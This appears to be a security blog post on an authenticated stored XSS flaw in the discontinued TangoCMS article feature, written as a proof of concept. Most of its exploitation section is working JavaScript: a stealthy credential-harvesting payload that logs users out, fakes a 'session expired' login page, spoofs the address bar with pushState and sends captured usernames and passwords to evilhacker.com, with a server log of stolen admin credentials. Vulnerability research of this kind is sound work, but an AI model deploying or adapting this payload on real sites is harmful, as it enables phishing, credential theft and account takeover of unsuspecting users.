Authenticated Stored XSS in TangoCMS

Comments

I decided to take a look at TangoCMS for vulnerabilities even though it has been discontinued.

To my surprise there wasn’t a huge amount that I could find, I did, however, find an authenticated stored XSS vulnerability.

This post is the description of that vulnerability and how to exploit it.

The Vulnerability

The actual vulnerability exists in the article functionality.

While by default only the admin user is able to create new articles, it makes sense that other users would be given the permissions to create them.

There is some client side filtering going on that does HTML encoding, so if I create an article with the classic javascript alert payload:

What it actually sends is:

The relevant field contains:

filtered message
1
%23%21html%0D%0A%3Cp%3E%26lt%3Bscript%26gt%3Balert%28%27xss%27%29%26lt%3B%2Fscript%26gt%3B%3C%2Fp%3E

If you URL decode this it is more clear:

decoded filtered message
1
2
#!html
<p>&lt;script&gt;alert('xss')&lt;/script&gt;</p>

So its HTML encoded the less than (<) and greater than (>) signs.

Fortunately this is very easy to beat by intecepting the request in burp and inserting our payload then:

Now if we visit the articles page the payload launches:

Exploitation

Even though we’ve clearly found an XSS vulnerability it is only avaliable to authenticated users who have the ability to create (or edit) articles.

On top of this, the session cookies that are used by the application aren’t accessible to script code (they all have the HttpOnly flag set), as you can see when you login:

Because of all of this it isn’t immediately obvious why this vulnerability is important at all, and a client could decide to ignore the vulnerability because of this, so I went about creating a decent POC payload that demonstrates the problem with this type of vulnerability.

I decided to create a credential harvesting exploit which hopefully would trick even the more security conscious users (obviously ignoring the ability to use BeEF, I like to show how to do things manually).

The main goal of this exploit is to be as stealthy as possible while stealing the credentials so we only want to attack currently logged in users and also we only want to attack each user once.

The first problem (attacking only logged in users) can be acheived by careful review of the client side source code:

Here you can see a div tag with the id sessionGreating and it contains an a tag whose innerHTML is the actual username (here the username is just user, really imaginative :–).

This obviously only shows to users that are currently logged in.

The fact that we can grab the username out of this helps us with the next part of our exploit.

To attack the user only once we will use localStorage, and by getting the username of the logged in user we can make sure that we still run our main payload for different users that use the same browser.

We can now build the start of our payload:

start of payload
1
2
3
4
5
6
7
d=document.getElementById('sessionGreeting');
if (d) {
  n=d.getElementsByTagName('a')[0].innerHTML;
  if (!localStorage.getItem(n)) {
      [REST OF PAYLOAD]
  }
}

We could of course redirect any user that isn’t logged in to the login screen but that would make it more noisy and I think it would be caught quicker.

At this point we know the user is logged in, we also know the username so we could target specific users if we wish but I will target all logged in users.

We could build the login page manually but it would be boring and hugely unnecessary.

The best way I can think of is by just using the real login page, to do this though we’ll first need to log the user out, once logged out we can request the real login page:

logging out and getting the login page
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
r=new XMLHttpRequest();
r.open("GET","http://tangocms/index.php?url=session/index/logout",true);
r.send();
r.onreadystatechange=function(){
  if(r.readyState==4){
      l=new XMLHttpRequest();
      l.open("GET","http://tangocms/index.php?url=session",true);
      l.send();
      l.onreadystatechange=function(){
          if(l.readyState==4){
              [REST OF PAYLOAD]
          }
      }
  }
}

Now we have the contents of the login page in l.responseText.

Before we write this to the screen we need to first make a couple of changes.

We need to hook the onsubmit event of the login form, that way we can run a function which steals the username and password before submitting the form.

We also need to tell the user why the login page is being displayed, if we just log the user straight out with no explaination, that might raise more suspicion than if an explaination is given.

For the explaination I think I’ll go with the Your session has expired, please login again message, but we want this to look as realistic as possible so we want to display it how normal error messages are displayed on the site.

We can check this by failing a login:

Looking at the source code for this:

We can see that the message is put right after the h1 that contains a innerHTML of Login right before the form, which is the only form on the page.

We can also see that its contained within a div tag with the id of eventmsgError and a calls of eventmsg, and then inside a p tag.

With all of this information we should be able to create our custom error message using javascript:

custom session expired error
1
2
3
4
5
6
7
d=document;
i=d.createElement('div');
i.id='eventmsgError';
i.className='eventmsg';
i.innerHTML="<p>Your session has expired, please login again</p>";
f=d.forms[0];
d.getElementById('content').children[0].insertBefore(i, f);

Obviously we can’t use the normal document element for this but we can transform our responseText into a document object like this:

turn responsetext into document
1
2
p=new DOMParser();
z=p.parseFromString(l.responseText,"text/html");

We need to hook the onsubmit event of the form but first we should replace the innerHTML of the document with our newly created login page:

replacing the page
1
document.documentElement.innerHTML=z.documentElement.innerHTML;

Now we can hook the onsubmit event:

hooking the onsubmit event
1
2
3
4
5
6
7
8
document.forms[0].onsubmit=function(){
  u=document.getElementById('sessionIdentifier').value;
  pass=document.getElementById('sessionPassword').value;
  x=new XMLHttpRequest();
  x.open("GET","http://evilhacker.com?user="+u+"&pass="+pass,true);
  x.send();
  localStorage.setItem(n, "Done");
}

So after I steal the username and password and send it to my machine, I set the localStorage so that it doesn’t run again for that user.

Obviously the URL that the username and password is sent to can be anything.

Lastly I want to implement 1 more thing that will make this attack look even more authentic.

I’m going to use pushState to change the URL that is shown in the address bar as the page is changed to the login page.

This will hopefully fool any user who is perceptive enough to look at the address bar to make sure they are on the login page.

Its worth baring in mind that this is only possible because the target URL is the same as the URL we are attacking from, it is not possible to do this for different domains:

pushing the login url
1
2
s={ foo: "bar" };
history.pushState(s, "", "/index.php?url=session");

The state object is irrelavent for our purposes and the second argument to pushState (the title) is actually ignored, but will be sorted by the HTML anyway.

Its worth noting that I tried the exploit as is and it didn’t work, here is why it didn’t work:

The sessionGreeting div tag that we are using to check if the user is logged in is after the script, and as the script gets run when it is first encountered instead of when the full document is loaded the element doesn’t exist yet so it doesn’t get past the first if statement.

We can fix this easily using a callback that triggers when the document has finished loading:

document complete callback
1
2
3
4
5
document.onreadystatechange=function(){
  if(document.readyState=="complete"){
      [REST OF PAYLOAD]
  }
}

So now our full javascript payload can be created:

full attack payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
document.onreadystatechange=function(){
  if(document.readyState=="complete"){

      d=document.getElementById('sessionGreeting');
      if (d) {
          n=d.getElementsByTagName('a')[0].innerHTML;
          if (!localStorage.getItem(n)) {
              r=new XMLHttpRequest();
              r.open("GET","http://tangocms/index.php?url=session/index/logout",true);
              r.send();
              r.onreadystatechange=function(){
                  if(r.readyState==4){
                      l=new XMLHttpRequest();
                      l.open("GET","http://tangocms/index.php?url=session",true);
                      l.send();
                      l.onreadystatechange=function(){
                          if(l.readyState==4){
                              p=new DOMParser();
                              z=p.parseFromString(l.responseText,"text/html");
                              i=z.createElement('div');
                              i.id='eventmsgError';
                              i.className='eventmsg';
                              i.innerHTML="<p>Your session has expired, please login again</p>";
                              f=z.forms[0];
                              z.getElementById('content').children[0].insertBefore(i, f);
                              s={ foo: "bar" };
                              history.pushState(s, "", "/index.php?url=session");
                              document.documentElement.innerHTML=z.documentElement.innerHTML;
                              document.forms[0].onsubmit=function(){
                                  u=document.getElementById('sessionIdentifier').value;
                                  pass=document.getElementById('sessionPassword').value;
                                  x=new XMLHttpRequest();
                                  x.open("GET","http://evilhacker.com?user="+u+"&pass="+pass,true);
                                  x.send();
                                  localStorage.setItem(n, "Done");
                              }
                          }
                      }
                  }
              }
          }
      }
  }
}

I URL encoded all of this using Burp:

Copy the output of the Burp encoder, intercept the request while editing the article again and put the encoded payload inbetween script tags after the article:

At this point I setup a python server listening on another host and in my payload I had put the IP address of this host with the port 8000.

Then I logged out and logged in as the admin user, when I went to view the article, it showed for a second but then displayed this page:

Obviously if this had happened right after login it might look a little suspicious but the user might have just put it down to an application bug, especially as it wouldn’t happen again.

After logging in again on this page I saw this on my terminal running the python server:

python server
1
2
3
4
D:\test>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
win8 - - [20/Mar/2015 14:42:57] "GET [email protected]&pass=admin HTTP/
1.1" 301 -

Now when viewing the article we see:

Obviously in a real attack we’d upload a less obvious article and probably a very interesting one that a lot of people would want to view.

Conclusion

Obviously the major issue here is the need to already have an account with article add/edit abilities but this could be achieved through phishing, brute forcing or just a malicious user.

But I hope this should demonstrate the need for XSS protection in every area of a web application.

It should also demonstrate a way in which accounts can by hijacked even without the ability to get password hashes and crack them or steal session cookies.

With a little imagination the sky is the limit!

Happy Hacking :–)